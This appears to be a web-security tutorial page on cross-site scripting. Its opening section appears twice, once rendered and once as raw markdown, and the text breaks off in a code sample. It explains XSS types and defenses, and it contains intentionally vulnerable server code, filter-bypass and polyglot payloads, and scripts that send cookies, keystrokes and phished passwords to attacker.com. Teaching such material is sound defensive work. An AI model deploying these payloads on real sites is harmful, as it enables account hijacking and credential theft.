#
Cross-Site Scripting (XSS) Attacks
CRITICAL SEVERITY OWASP TOP 10 #3 WEB ATTACK
Imagine you're reading comments on your favorite website, but hidden in one of those comments is an invisible computer program that steals your password. That's Cross-Site Scripting (XSS) in a nutshell.
XSS is like a digital ventriloquist attack - a hacker makes a trusted website "say" malicious things to your browser, and because your browser trusts the website, it follows those malicious instructions.
Simple Example: Think of a website as a restaurant menu. Normally, the menu shows "Today's Special: Pizza $10". But what if someone could sneak into the kitchen and change it to "Today's Special: Give me your wallet"? XSS lets hackers change what websites "say" to your browser.
Critical Web Vulnerability
XSS consistently ranks in the OWASP Top 10 most critical web security risks. In 2024, XSS vulnerabilities were found in major platforms including Facebook, Twitter, YouTube, and thousands of other websites. Even tech giants aren't immune!
#
What is Cross-Site Scripting? (The Simple Explanation)
Every website is like a conversation between your browser and the website's server. Your browser asks "What should I display?" and the website responds with instructions (HTML and JavaScript code).
The Problem: What if a hacker can inject their own instructions into that conversation?
What happens then:
When a hacker's code runs on your browser through XSS, they can:
- Steal your login session - Take over your account without knowing your password (like stealing your key while you're still inside)
- :icon-keyboard: Record everything you type - Including passwords, credit cards, personal messages
- Change what you see - Replace the real login page with a fake one that sends your password to the hacker
- Redirect you to malicious sites - Send you to fake websites that look real but steal your information
- Read sensitive information - See everything on your screen: emails, bank balance, private messages
- Perform actions as you - Post messages, send money, change your password - all without you knowing
#
Why XSS is So Dangerous (The Trust Problem)
Here's the scary part: Your browser trusts the website you're visiting.
When you're on Facebook.com, your browser trusts that any code running is from Facebook. But with XSS, a hacker can inject their code into Facebook.com, and your browser will think "This code is from Facebook, so it's safe to run!"
:icon-phone: Real-World Analogy: It's like receiving a phone call that shows up as "Your Bank" on caller ID, so you trust it and give them your account number - but it was actually a scammer who faked the caller ID. XSS is like that, but for websites.
#
Basic XSS Example (How It Actually Works)
Let's see a simple example with a search box on a shopping website:
// The website takes what you type in the search box and shows it back to you
$search = $_GET['q']; // Get what user searched for
echo "You searched for: " . $search; // Display it on the page
- You search for:
laptops - Website shows: "You searched for: laptops"
- Everything works fine!
- Hacker searches for:
<script>alert('You've been hacked!')</script> - Website shows: "You searched for: " and then RUNS THE HACKER'S CODE
- A popup appears saying "You've been hacked!"
Why This is Dangerous
In this example, the hacker just showed a popup (harmless). But they could easily replace that harmless popup with code that:
- Steals your cookies (your login session)
- Records every key you press
- Sends your data to the hacker's server
The URL the Hacker Sends:
http://shop.com/search?q=<script>stealPassword()</script>
When you click this link, the website runs the hacker's stealPassword() code in YOUR browser, and you wouldn't even know it's happening!
Think of it this way
The website is like a parrot that repeats what you say. If you say "Hello", it says "Hello". But if you teach it to say "Give me your wallet", it will say that too! XSS exploits websites that blindly repeat user input without checking it first.
#
Types of XSS Attacks (3 Main Types)
Understanding the three types of XSS is like understanding three different ways someone could trick you:
#
1. Reflected XSS (The Malicious Link Trick)
MEDIUM RISK REQUIRES VICTIM TO CLICK
Simple Explanation: The hacker sends you a link that looks like it goes to a trusted website (like Amazon or Facebook), but the link contains hidden malicious code. When you click it, the website "reflects" that code back to your browser, which then executes it.
Real-World Analogy: Imagine someone hands you a note that says "Show this to the bank teller." When the bank teller reads it out loud, they unknowingly say "Give all your money to this person." The bank teller (website) is just repeating what's on the note (URL), but it causes damage.
Why It's Called "Reflected": The attack bounces off the website like light reflecting off a mirror. The malicious code isn't stored on the website - it's in the link itself.
#
How Reflected XSS Works (Step-by-Step)
http://trustedsite.com/search?q=<script>stealCookies()</script>
Via email, text message, or social media:
- "Check out this amazing deal! [Click here]"
- The link looks like it goes to a trusted website, so you click it
The website displays:
"You searched for: <script>stealCookies()</script>"
Your browser sees the script tag and executes it - stealing your login cookies and sending them to the hacker!
#
Example Attack
# Flask application
from flask import Flask, request
@app.route('/search')
def search():
query = request.args.get('q', '')
return f'''
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: {query}</p>
</body>
</html>
'''
// Node.js + Express
app.get('/login', (req, res) => {
const error = req.query.error;
res.send(`
<html>
<body>
<form method="POST" action="/login">
<div class="error">${error}</div>
<input name="username" />
<input name="password" type="password" />
<button>Login</button>
</form>
</body>
</html>
`);
});
Attack URL:
http://example.com/search?q=<script>
// Steal session cookie
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
Shortened URL Trick
Attackers often use URL shorteners to hide the payload:
http://bit.ly/xyz123 → http://example.com/search?q=<script>...</script>
#
2. Stored XSS (The Poison Comment/Profile Attack)
CRITICAL RISK AFFECTS ALL VISITORS PERSISTENT
Simple Explanation: This is the most dangerous type! The hacker posts malicious code (in a comment, profile bio, forum post, etc.) and the website stores it permanently in its database. Now, every single person who views that comment gets attacked automatically - like a landmine waiting for anyone who walks by.
Real-World Analogy: Imagine a public bulletin board where people post notes. Someone posts a note that says "If you're reading this, send $100 to this address." Everyone who reads the bulletin board follows the instruction. That's Stored XSS - the malicious instruction stays there, affecting everyone who sees it.
Why It's Called "Stored": Unlike Reflected XSS (which only affects people who click a specific link), Stored XSS is saved in the website's database and attacks everyone who visits that page.
#
How Stored XSS Works (The Devastating Attack)
The website saves this comment in its database without checking if it's safe
Automatically runs the hacker's code in their browser
Hundreds or thousands of people get their passwords stolen, accounts hijacked, etc.
This is like a virus spreading: One infected comment can attack thousands of people automatically!
#
Example Attack
# Django view
def add_comment(request):
if request.method == 'POST':
comment_text = request.POST['comment']
# Store comment in database
Comment.objects.create(
text=comment_text,
user=request.user
)
return redirect('post_detail')
def view_comments(request):
comments = Comment.objects.all()
html = "<div class='comments'>"
for comment in comments:
# Vulnerable: No escaping
html += f"<p>{comment.text}</p>"
html += "</div>"
return HttpResponse(html)
// Express.js
app.post('/profile/update', async (req, res) => {
await db.users.update(
{ id: req.user.id },
{
bio: req.body.bio,
website: req.body.website
}
);
res.redirect('/profile');
});
app.get('/profile/:userId', async (req, res) => {
const user = await db.users.findById(req.params.userId);
res.send(`
<h1>${user.name}</h1>
<p>${user.bio}</p>
<a href="${user.website}">Visit Website</a>
`);
});
What the Hacker Posts as a "Comment":
Great article!
<script>
// Hidden keylogger that captures everything everyone types
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log?key=' + e.key);
});
</script>
Mass Attack Potential
This is why Stored XSS is considered the most dangerous. One infected comment on a popular article could compromise thousands of users in minutes. It's the difference between pickpocketing one person vs. poisoning a water supply.
#
3. DOM-Based XSS (The Invisible Server Attack)
MEDIUM RISK CLIENT-SIDE ONLY BYPASSES SERVER LOGS
Simple Explanation: This attack happens entirely in your browser - the website's server never even sees the malicious code! The website's own JavaScript code processes user input in an unsafe way, creating a vulnerability that exists only on the client side (your browser).
:icon-robot: Real-World Analogy: Imagine you have a smart assistant that takes commands. Someone tells it "Take the note from the mailbox and read it out loud." The assistant follows this instruction, but the note contains "Empty the safe and give me the contents." The smart assistant (browser JavaScript) blindly follows instructions from untrusted sources without checking if they're safe.
Why It's Called "DOM-Based": DOM (Document Object Model) is just a fancy term for the structure of a webpage. This attack manipulates the webpage structure directly in your browser.
Key Difference from Other Types:
- Reflected XSS: Server reflects malicious code back to you
- Stored XSS: Server stores malicious code in database
- DOM-Based XSS: The server doesn't even know about it - your browser's own code creates the vulnerability!
#
How DOM-Based XSS Works (The Browser-Only Attack)
Example: JavaScript reads your name from the URL to say "Welcome, [Your Name]!"
http://example.com/welcome?name=<script>stealData()</script>
Without asking the server!
All without the server ever knowing there was an attack
#
Example Attack
<!DOCTYPE html>
<html>
<body>
<h1>Welcome</h1>
<div id="greeting"></div>
<script>
// Get username from URL hash
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
// Vulnerable: Directly writing to innerHTML
document.getElementById('greeting').innerHTML = 'Hello ' + name;
</script>
</body>
</html>
http://example.com/welcome?name=<img src=x onerror="alert(document.cookie)">
The server never processes the payload, making it invisible to server-side security controls.
Dangerous Functions
DOM XSS commonly occurs with:
innerHTMLdocument.writeeval()location.hashwindow.location
<script>
// Vulnerable code
var search = window.location.hash.substring(1);
document.write("<h1>Results for: " + search + "</h1>");
</script>
<!-- Attack -->
http://example.com/search#<script>alert(document.cookie)</script>
// Extremely dangerous
var userInput = location.hash.substring(1);
eval(userInput); // Never use eval with user input!
// Attack
http://example.com/page#alert(document.cookie)
#
Quick Comparison: The 3 Types of XSS
Remember This
- Reflected = Click bad link → Get attacked
- Stored = Visit infected page → Get attacked (WORST!)
- DOM-Based = Browser processes URL → Get attacked (sneaky!)
#
Advanced XSS Techniques
#
Bypassing Filters
Many applications attempt to filter XSS by blocking certain keywords or patterns. Attackers use various encoding and obfuscation techniques to bypass these filters.
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
<script>alert(1)</script>
<script>alert(1)</script>
%3Cscript%3Ealert(1)%3C/script%3E
%253Cscript%253Ealert(1)%253C/script%253E
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>
#
Using Alternative Tags and Events
When <script> is blocked:
<img src=x onerror=alert(1)>
<img/src/onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
---
icon: code-square
label: Cross-Site Scripting (XSS)
order: 99
tags: [web-attacks, security, xss, javascript]
---
# Cross-Site Scripting (XSS) Attacks
[!badge variant="danger" text="CRITICAL SEVERITY"] [!badge variant="warning" text="OWASP TOP 10 #3"] [!badge variant="info" text="WEB ATTACK"]

Imagine you're reading comments on your favorite website, but hidden in one of those comments is an invisible computer program that steals your password. That's Cross-Site Scripting (XSS) in a nutshell.
XSS is like a digital ventriloquist attack - a hacker makes a trusted website "say" malicious things to your browser, and because your browser trusts the website, it follows those malicious instructions.
:icon-shield-x: **Simple Example:** Think of a website as a restaurant menu. Normally, the menu shows "Today's Special: Pizza $10". But what if someone could sneak into the kitchen and change it to "Today's Special: Give me your wallet"? XSS lets hackers change what websites "say" to your browser.
!!!danger Critical Web Vulnerability
:icon-alert: XSS consistently ranks in the [OWASP Top 10](https://owasp.org/www-project-top-ten/) most critical web security risks. In 2024, XSS vulnerabilities were found in major platforms including Facebook, Twitter, YouTube, and thousands of other websites. Even tech giants aren't immune!
!!!
---
## What is Cross-Site Scripting? (The Simple Explanation)
Every website is like a conversation between your browser and the website's server. Your browser asks "What should I display?" and the website responds with instructions (HTML and JavaScript code).
:icon-question: **The Problem:** What if a hacker can inject their own instructions into that conversation?
**What happens then:**
When a hacker's code runs on your browser through XSS, they can:
- :icon-key: **Steal your login session** - Take over your account without knowing your password (like stealing your key while you're still inside)
- :icon-keyboard: **Record everything you type** - Including passwords, credit cards, personal messages
- :icon-pencil: **Change what you see** - Replace the real login page with a fake one that sends your password to the hacker
- :icon-location: **Redirect you to malicious sites** - Send you to fake websites that look real but steal your information
- :icon-eye: **Read sensitive information** - See everything on your screen: emails, bank balance, private messages
- :icon-person: **Perform actions as you** - Post messages, send money, change your password - all without you knowing
### Why XSS is So Dangerous (The Trust Problem)
Here's the scary part: **Your browser trusts the website you're visiting.**
When you're on Facebook.com, your browser trusts that any code running is from Facebook. But with XSS, a hacker can inject their code into Facebook.com, and your browser will think "This code is from Facebook, so it's safe to run!"
:icon-phone: **Real-World Analogy:** It's like receiving a phone call that shows up as "Your Bank" on caller ID, so you trust it and give them your account number - but it was actually a scammer who faked the caller ID. XSS is like that, but for websites.
### Basic XSS Example (How It Actually Works)
Let's see a simple example with a search box on a shopping website:
+++ :icon-code: What the Website Does (Vulnerable Code)
```php
// The website takes what you type in the search box and shows it back to you
$search = $_GET['q']; // Get what user searched for
echo "You searched for: " . $search; // Display it on the page
+++
- You search for:
laptops - Website shows: "You searched for: laptops"
- Everything works fine!
- Hacker searches for:
<script>alert('You've been hacked!')</script> - Website shows: "You searched for: " and then RUNS THE HACKER'S CODE
- A popup appears saying "You've been hacked!"
Why This is Dangerous
In this example, the hacker just showed a popup (harmless). But they could easily replace that harmless popup with code that:
- Steals your cookies (your login session)
- Records every key you press
- Sends your data to the hacker's server
The URL the Hacker Sends:
http://shop.com/search?q=<script>stealPassword()</script>
When you click this link, the website runs the hacker's stealPassword() code in YOUR browser, and you wouldn't even know it's happening!
Think of it this way
The website is like a parrot that repeats what you say. If you say "Hello", it says "Hello". But if you teach it to say "Give me your wallet", it will say that too! XSS exploits websites that blindly repeat user input without checking it first.
#
Types of XSS Attacks (3 Main Types)
Understanding the three types of XSS is like understanding three different ways someone could trick you:
#
1. Reflected XSS (The Malicious Link Trick)
MEDIUM RISK REQUIRES VICTIM TO CLICK
Simple Explanation: The hacker sends you a link that looks like it goes to a trusted website (like Amazon or Facebook), but the link contains hidden malicious code. When you click it, the website "reflects" that code back to your browser, which then executes it.
Real-World Analogy: Imagine someone hands you a note that says "Show this to the bank teller." When the bank teller reads it out loud, they unknowingly say "Give all your money to this person." The bank teller (website) is just repeating what's on the note (URL), but it causes damage.
Why It's Called "Reflected": The attack bounces off the website like light reflecting off a mirror. The malicious code isn't stored on the website - it's in the link itself.
#
How Reflected XSS Works (Step-by-Step)
http://trustedsite.com/search?q=<script>stealCookies()</script>
Via email, text message, or social media:
- "Check out this amazing deal! [Click here]"
- The link looks like it goes to a trusted website, so you click it
The website displays:
"You searched for: <script>stealCookies()</script>"
Your browser sees the script tag and executes it - stealing your login cookies and sending them to the hacker!
#
Example Attack
# Flask application
from flask import Flask, request
@app.route('/search')
def search():
query = request.args.get('q', '')
return f'''
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: {query}</p>
</body>
</html>
'''
// Node.js + Express
app.get('/login', (req, res) => {
const error = req.query.error;
res.send(`
<html>
<body>
<form method="POST" action="/login">
<div class="error">${error}</div>
<input name="username" />
<input name="password" type="password" />
<button>Login</button>
</form>
</body>
</html>
`);
});
Attack URL:
http://example.com/search?q=<script>
// Steal session cookie
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
Shortened URL Trick
Attackers often use URL shorteners to hide the payload:
http://bit.ly/xyz123 → http://example.com/search?q=<script>...</script>
#
2. Stored XSS (The Poison Comment/Profile Attack)
CRITICAL RISK AFFECTS ALL VISITORS PERSISTENT
Simple Explanation: This is the most dangerous type! The hacker posts malicious code (in a comment, profile bio, forum post, etc.) and the website stores it permanently in its database. Now, every single person who views that comment gets attacked automatically - like a landmine waiting for anyone who walks by.
Real-World Analogy: Imagine a public bulletin board where people post notes. Someone posts a note that says "If you're reading this, send $100 to this address." Everyone who reads the bulletin board follows the instruction. That's Stored XSS - the malicious instruction stays there, affecting everyone who sees it.
Why It's Called "Stored": Unlike Reflected XSS (which only affects people who click a specific link), Stored XSS is saved in the website's database and attacks everyone who visits that page.
#
How Stored XSS Works (The Devastating Attack)
The website saves this comment in its database without checking if it's safe
Automatically runs the hacker's code in their browser
Hundreds or thousands of people get their passwords stolen, accounts hijacked, etc.
This is like a virus spreading: One infected comment can attack thousands of people automatically!
#
Example Attack
# Django view
def add_comment(request):
if request.method == 'POST':
comment_text = request.POST['comment']
# Store comment in database
Comment.objects.create(
text=comment_text,
user=request.user
)
return redirect('post_detail')
def view_comments(request):
comments = Comment.objects.all()
html = "<div class='comments'>"
for comment in comments:
# Vulnerable: No escaping
html += f"<p>{comment.text}</p>"
html += "</div>"
return HttpResponse(html)
// Express.js
app.post('/profile/update', async (req, res) => {
await db.users.update(
{ id: req.user.id },
{
bio: req.body.bio,
website: req.body.website
}
);
res.redirect('/profile');
});
app.get('/profile/:userId', async (req, res) => {
const user = await db.users.findById(req.params.userId);
res.send(`
<h1>${user.name}</h1>
<p>${user.bio}</p>
<a href="${user.website}">Visit Website</a>
`);
});
What the Hacker Posts as a "Comment":
Great article!
<script>
// Hidden keylogger that captures everything everyone types
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log?key=' + e.key);
});
</script>
Mass Attack Potential
This is why Stored XSS is considered the most dangerous. One infected comment on a popular article could compromise thousands of users in minutes. It's the difference between pickpocketing one person vs. poisoning a water supply.
#
3. DOM-Based XSS (The Invisible Server Attack)
MEDIUM RISK CLIENT-SIDE ONLY BYPASSES SERVER LOGS
Simple Explanation: This attack happens entirely in your browser - the website's server never even sees the malicious code! The website's own JavaScript code processes user input in an unsafe way, creating a vulnerability that exists only on the client side (your browser).
:icon-robot: Real-World Analogy: Imagine you have a smart assistant that takes commands. Someone tells it "Take the note from the mailbox and read it out loud." The assistant follows this instruction, but the note contains "Empty the safe and give me the contents." The smart assistant (browser JavaScript) blindly follows instructions from untrusted sources without checking if they're safe.
Why It's Called "DOM-Based": DOM (Document Object Model) is just a fancy term for the structure of a webpage. This attack manipulates the webpage structure directly in your browser.
Key Difference from Other Types:
- Reflected XSS: Server reflects malicious code back to you
- Stored XSS: Server stores malicious code in database
- DOM-Based XSS: The server doesn't even know about it - your browser's own code creates the vulnerability!
#
How DOM-Based XSS Works (The Browser-Only Attack)
Example: JavaScript reads your name from the URL to say "Welcome, [Your Name]!"
http://example.com/welcome?name=<script>stealData()</script>
Without asking the server!
All without the server ever knowing there was an attack
#
Example Attack
<!DOCTYPE html>
<html>
<body>
<h1>Welcome</h1>
<div id="greeting"></div>
<script>
// Get username from URL hash
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
// Vulnerable: Directly writing to innerHTML
document.getElementById('greeting').innerHTML = 'Hello ' + name;
</script>
</body>
</html>
http://example.com/welcome?name=<img src=x onerror="alert(document.cookie)">
The server never processes the payload, making it invisible to server-side security controls.
Dangerous Functions
DOM XSS commonly occurs with:
innerHTMLdocument.writeeval()location.hashwindow.location
<script>
// Vulnerable code
var search = window.location.hash.substring(1);
document.write("<h1>Results for: " + search + "</h1>");
</script>
<!-- Attack -->
http://example.com/search#<script>alert(document.cookie)</script>
// Extremely dangerous
var userInput = location.hash.substring(1);
eval(userInput); // Never use eval with user input!
// Attack
http://example.com/page#alert(document.cookie)
#
Quick Comparison: The 3 Types of XSS
Remember This
- Reflected = Click bad link → Get attacked
- Stored = Visit infected page → Get attacked (WORST!)
- DOM-Based = Browser processes URL → Get attacked (sneaky!)
#
Advanced XSS Techniques
#
Bypassing Filters
Many applications attempt to filter XSS by blocking certain keywords or patterns. Attackers use various encoding and obfuscation techniques to bypass these filters.
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
<script>alert(1)</script>
<script>alert(1)</script>
%3Cscript%3Ealert(1)%3C/script%3E
%253Cscript%253Ealert(1)%253C/script%253E
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>
#
Using Alternative Tags and Events
When <script> is blocked:
<img src=x onerror=alert(1)>
<img/src/onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>
#
Filter Bypass with Comments
<scr<!--comment-->ipt>alert(1)</scr<!---->ipt>
#
Using Template Literals (JavaScript)
`${alert(1)}`
#
Polyglot XSS Payloads
Payloads that work in multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
#
XSS in Different Contexts
<!-- Vulnerable -->
<div>Hello {{username}}</div>
<!-- Attack -->
<script>alert(1)</script>
<!-- Vulnerable -->
<input value="{{userInput}}">
<!-- Attack -->
" onfocus="alert(1)" autofocus="
<!-- Result -->
<input value="" onfocus="alert(1)" autofocus="">
<script>
var name = '{{userName}}';
</script>
<!-- Attack -->
'; alert(1); //
<!-- Result -->
<script>
var name = ''; alert(1); //';
</script>
<!-- Vulnerable -->
<a href="{{userUrl}}">Click here</a>
<!-- Attack -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
<style>
body {
background: {{userColor}};
}
</style>
<!-- Attack -->
red; } body { background: url('javascript:alert(1)');
#
Real-World Attack Scenarios
#
Scenario 1: Cookie Theft and Session Hijacking
HIGH IMPACT
Objective: Steal user's session cookie to hijack their account
Payload:
<script>
// Create an image to send cookie to attacker's server
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>
Attacker's Server (steal.php):
<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$timestamp = date('Y-m-d H:i:s');
// Log stolen cookies
file_put_contents('stolen.txt', "$timestamp | $ip | $cookie\n", FILE_APPEND);
?>
Using the Stolen Cookie:
// Attacker opens browser console on the target site
document.cookie = "session=stolen_session_id";
location.reload();
// Now logged in as the victim
#
Scenario 2: Phishing Attack via XSS
CREDENTIAL THEFT
Objective: Inject a fake login form to steal credentials
<script>
// Hide the real content
document.body.innerHTML = '';
// Inject fake login form
document.body.innerHTML = `
<div style="max-width: 400px; margin: 100px auto; padding: 20px; border: 1px solid #ccc;">
<h2>Session Expired</h2>
<p>Please log in again to continue</p>
<form id="phishingForm">
<input type="text" name="username" placeholder="Username" style="width: 100%; margin: 10px 0; padding: 10px;" />
<input type="password" name="password" placeholder="Password" style="width: 100%; margin: 10px 0; padding: 10px;" />
<button type="submit" style="width: 100%; padding: 10px; background: #007bff; color: white; border: none;">Log In</button>
</form>
</div>
`;
// Capture submitted credentials
document.getElementById('phishingForm').addEventListener('submit', function(e) {
e.preventDefault();
const username = this.username.value;
const password = this.password.value;
// Send to attacker's server
fetch('http://attacker.com/harvest.php', {
method: 'POST',
body: JSON.stringify({ username, password })
});
// Redirect to real login to avoid suspicion
window.location = '/login?error=Please try again';
});
</script>
#
Scenario 3: Keylogger
DATA EXFILTRATION
:icon-keyboard: Objective: Capture everything the user types
<script>
var keys = '';
var sendInterval = 5000; // Send every 5 seconds
document.addEventListener('keypress', function(e) {
keys += e.key;
});
setInterval(function() {
if (keys.length > 0) {
// Send captured keystrokes
fetch('http://attacker.com/keylog.php?data=' + encodeURIComponent(keys));
keys = '';
}
}, sendInterval);
</script>
#
Scenario 4: Cryptocurrency Miner
RESOURCE ABUSE
Objective: Use victim's browser to mine cryptocurrency
<script src="https://attacker.com/cryptominer.js"></script>
<script>
// Initialize miner with attacker's wallet
var miner = new CryptoMiner('attacker_wallet_address');
miner.start();
// Hide miner activity
miner.setThrottle(0.2); // Use 80% of CPU
</script>
#
Scenario 5: Auto-Following/Auto-Liking on Social Media
SOCIAL ENGINEERING
Objective: Make victims automatically follow an account or like posts
<script>
// Find and click the follow button
fetch('/api/follow', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('[name=csrf-token]').content
},
body: JSON.stringify({
user_id: 'attacker_user_id'
})
});
// Like recent posts
fetch('/api/posts/12345/like', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('[name=csrf-token]').content
}
});
</script>
#
Scenario 6: Browser Exploitation
CRITICAL
Objective: Exploit browser vulnerabilities to achieve code execution
<script>
// Check browser version
var ua = navigator.userAgent;
// Redirect to exploit kit based on browser
if (ua.indexOf('Chrome/95') !== -1) {
window.location = 'http://attacker.com/exploits/chrome95.html';
} else if (ua.indexOf('Firefox/94') !== -1) {
window.location = 'http://attacker.com/exploits/firefox94.html';
}
</script>
#
Framework-Specific XSS
#
React XSS Vulnerabilities
React automatically escapes values, but vulnerabilities still exist:
// Vulnerable
function UserBio({ bio }) {
return <div dangerouslySetInnerHTML={{__html: bio}} />;
}
// Attack: User sets bio to
<img src=x onerror="alert(document.cookie)">
// Vulnerable
function UserLink({ url }) {
return <a href={url}>Visit</a>;
}
// Attack: url = "javascript:alert(1)"
// Safe
function UserBio({ bio }) {
return <div>{bio}</div>; // React auto-escapes
}
// Safe URL validation
function UserLink({ url }) {
const safeUrl = url.startsWith('http://') || url.startsWith('https://')
? url
: '#';
return <a href={safeUrl}>Visit</a>;
}
#
Vue.js XSS Vulnerabilities
<!-- Vulnerable -->
<div v-html="userContent"></div>
<!-- Attack -->
userContent = '<img src=x onerror="alert(1)">'
<!-- Safe: Vue auto-escapes -->
<div>{{ userContent }}</div>
<!-- Or use DOMPurify -->
<div v-html="sanitize(userContent)"></div>
import DOMPurify from 'dompurify';
export default {
methods: {
sanitize(dirty) {
return DOMPurify.sanitize(dirty);
}
}
}
#
Angular XSS Vulnerabilities
// Vulnerable
import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
getHtml(value: string) {
return this.sanitizer.bypassSecurityTrustHtml(value);
}
<div [innerHTML]="getHtml(userInput)"></div>
<!-- Safe -->
<div>{{ userInput }}</div>
Framework Security
While modern frameworks provide auto-escaping, developers can bypass these protections. Never use dangerouslySetInnerHTML, v-html, or bypassSecurityTrustHtml with untrusted user input!
#
How to Protect Against XSS (Prevention Guide)
Now that we understand how dangerous XSS is, let's learn how to protect against it. Don't worry - you don't need to be a programmer to understand these concepts!
#
1. Output Encoding/Escaping (The Translation Method)
PRIMARY DEFENSE
Simple Explanation: Instead of displaying user input directly, the website "translates" special characters into safe versions that can't execute as code.
Real-World Analogy: Imagine you're publishing a book of user quotes. If someone submits "I love this!
How It Works:
When a hacker types <script>alert('XSS')</script>, the website converts it to:
<script>alert('XSS')</script>
Your browser displays this as text (showing the literal characters) instead of running it as code!
Example Transformations:
#
HTML Context Encoding
import html
# Python
safe_output = html.escape(user_input)
// JavaScript
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
"/": '/',
};
return text.replace(/[&<>"'/]/g, char => map[char]);
}
// PHP
<?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?>
// Java (using OWASP Java Encoder)
import org.owasp.encoder.Encode;
String safe = Encode.forHtml(userInput);
#
JavaScript Context Encoding
function escapeJavaScript(text) {
return text
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
}
// Usage
var name = '{{escapeJavaScript(userName)}}';
#
URL Context Encoding
// JavaScript
const safeUrl = encodeURIComponent(userInput);
# Python
from urllib.parse import quote
safe_url = quote(user_input)
#
CSS Context
// Avoid user input in CSS entirely
// If necessary, use strict whitelist validation
function isValidColor(color) {
return /^#[0-9A-Fa-f]{6}$/.test(color);
}
#
2. Content Security Policy (CSP) - The Bodyguard
CRITICAL DEFENSE
Simple Explanation: CSP is like a bouncer at a nightclub for your web browser. It tells your browser "Only run scripts from these approved sources. Block everything else."
Real-World Analogy: Imagine you tell your email app "Only open attachments from people in my contacts list. Delete any attachment from strangers." CSP does the same thing but for scripts on websites.
How It Works: The website tells your browser: "Only execute JavaScript that I (the website owner) directly provide. Don't run any injected scripts."
Even if a hacker manages to inject <script>stealData()</script>, your browser will refuse to run it!
Simple Example:
Website says: "Only run scripts from myself (example.com), nowhere else."
Hacker injects: <script src="http://evil.com/steal.js"></script>
Browser blocks it: "Nope! CSP says I can only run scripts from example.com."
#
Basic CSP Protection
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Translation: "Only load content from my own domain, don't load any plugins, and definitely don't run random scripts!"
#
Advanced CSP with Nonces (Random Passwords for Scripts)
Content-Security-Policy: script-src 'nonce-{random}';
<!-- HTML -->
<script nonce="random_value_here">
// This script will execute
</script>
<script>
// This script will be blocked
</script>
const crypto = require('crypto');
app.use((req, res, next) => {
// Generate random nonce
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
// Set CSP header
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`
);
next();
});
app.get('/', (req, res) => {
res.send(`
<html>
<head>
<script nonce="${res.locals.nonce}">
console.log('This script executes');
</script>
</head>
<body>
<h1>Protected by CSP</h1>
</body>
</html>
`);
});
#
CSP with Hash
Content-Security-Policy: script-src 'sha256-{hash_of_script}';
// Generate hash for inline script
const crypto = require('crypto');
const scriptContent = "console.log('hello');";
const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');
// Use in CSP
res.setHeader('Content-Security-Policy', `script-src 'sha256-${hash}'`);
#
Comprehensive CSP Configuration
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self' https://trusted-cdn.com;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
#
3. Input Validation
DEFENSE IN DEPTH
Whitelist Approach:
function validateUsername(username) {
// Only allow alphanumeric and underscore
const pattern = /^[a-zA-Z0-9_]{3,20}$/;
return pattern.test(username);
}
function validateEmail(email) {
const pattern = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
return pattern.test(email);
}
function validateURL(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
}
#
4. Sanitization Libraries
RECOMMENDED
import DOMPurify from 'dompurify';
const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: <img src="x">
import bleach
allowed_tags = ['p', 'br', 'strong', 'em', 'a']
allowed_attrs = {'a': ['href', 'title']}
clean = bleach.clean(
user_input,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True
)
<?php
